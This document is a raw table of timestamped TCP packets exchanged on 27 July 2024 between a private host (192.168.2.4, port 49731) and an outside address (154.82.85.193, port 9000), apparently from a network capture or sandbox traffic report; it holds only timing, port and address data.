Jul 27, 2024 16:49:17.245385885 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:17.245387077 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:17.245387077 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:17.245424986 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:17.245429039 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:17.294097900 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:17.765141964 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:17.765636921 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:17.765866041 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.256747961 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.256771088 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.256788015 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.256803989 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.256958008 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.256958008 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.489397049 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.489520073 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.489537001 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.489552975 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.489567995 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.489583015 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.489600897 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.489645958 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.489723921 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.489723921 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.489723921 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.489723921 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.702183962 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.702205896 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.702224970 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.702415943 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.702543020 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.702567101 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.702583075 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.702600002 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.702616930 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.702634096 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.702721119 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.702721119 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.702722073 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.747267008 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.925120115 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.925159931 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.925178051 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.925194025 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.925210953 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.925229073 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.925323963 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.925323963 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.925323963 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.926140070 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.926163912 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.926184893 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:18.926338911 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:18.965961933 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.165287018 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.165313959 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.165332079 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.165503025 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.165653944 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.165689945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.165704966 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.165720940 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.165738106 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.165755033 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.165771008 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.165847063 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.165848017 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.165848017 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.165848017 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.371330976 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.371355057 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.371388912 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.371406078 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.371423006 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.371438980 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.371455908 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.371474981 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.371548891 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.371548891 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.371550083 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.371550083 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.374828100 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.375232935 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.375256062 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.375446081 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.419104099 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.593719006 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.593756914 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.593772888 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.593787909 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.593803883 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.593818903 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.593835115 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.593848944 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.593866110 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.593882084 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.593899012 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.593965054 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.593965054 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.593965054 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.593965054 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.593965054 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.594531059 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.595185995 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.817540884 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.817591906 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.817627907 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.817661047 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.817686081 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.817702055 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.817718029 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.817734957 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.817753077 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.817768097 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.817785978 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.817804098 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:19.817816019 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.817816019 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.817816019 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.817816019 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.817910910 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:19.818531036 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.041300058 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.041321993 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.041338921 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.041353941 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.041368961 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.041397095 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.041414022 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.041430950 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.041619062 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.041619062 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.041619062 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.041816950 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.041838884 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.041856050 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.041872025 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.042006016 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.046108961 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.271162987 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.271200895 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.271217108 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.271231890 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.271248102 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.271264076 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.271279097 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.271294117 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.271310091 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.271326065 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.271341085 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.271354914 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.271372080 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.271379948 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.271379948 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.271379948 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.271379948 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.271886110 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.325403929 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.494234085 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.494256973 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.494273901 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.494288921 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.494304895 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.494319916 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.494335890 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.494353056 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.494426966 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.494426966 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.494426966 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.494426966 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.494671106 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.494705915 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.494721889 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.494735956 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.494752884 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.494862080 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.494862080 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.544080019 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.711595058 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.711632013 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.711647987 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.711663008 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.711678982 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.711693048 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.711709023 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.711724997 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.711740971 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.711756945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.711833954 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.711833954 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.711833954 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.711833954 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.711833954 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.711900949 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.711918116 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.711976051 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.712079048 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.712095976 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.712112904 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.712255001 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.762835026 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.935738087 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.935764074 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.935781002 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.935812950 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.935827971 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.935857058 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.935956001 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.935966015 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.935971975 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.935966015 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.935966015 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.936000109 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.936016083 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.936032057 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.936039925 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.936048031 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.936060905 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.936068058 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:20.936081886 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:20.981585979 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.157449007 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.157731056 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.157752991 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.157768965 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.157783985 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.157799006 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.157814026 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.157830954 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.157958984 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.157958984 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.157958984 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.157958984 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.158380032 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.158413887 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.158447027 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.158463955 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.158479929 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.158495903 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.158579111 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.158579111 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.161542892 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.449748993 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452287912 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452303886 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452321053 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452349901 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452366114 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452383041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452469110 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452470064 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.452470064 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.452470064 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.452497005 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452512980 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452528954 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452543974 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452558041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452574968 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452578068 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.452578068 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.452593088 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452598095 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.452606916 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452616930 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.452621937 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.452663898 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.452663898 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.473154068 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.528460026 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.604700089 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.604722023 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.604773045 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.604789019 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.604830980 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.604846001 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.604929924 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.604929924 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.605127096 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.605181932 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.605199099 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.605215073 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.605231047 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.605247021 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.605262041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.605278015 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.605329990 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.605329990 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.605329990 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.605329990 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.605696917 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.697156906 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.747208118 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.826190948 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.826246023 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.826262951 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.826277971 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.826293945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.826322079 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.826339006 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.826354980 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.826371908 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.826390028 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.826409101 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.826409101 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.826409101 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.826409101 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.826452971 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.826502085 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.826984882 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.827018976 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.827033043 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.827034950 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.827075958 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.827095032 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:21.827135086 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:21.827135086 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:22.049771070 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:22.049839973 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:22.049860001 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:22.049885988 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:22.049923897 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:22.049957037 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:22.049990892 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:22.050024033 CEST	9000	49731	154.82.85.193	192.168.2.4
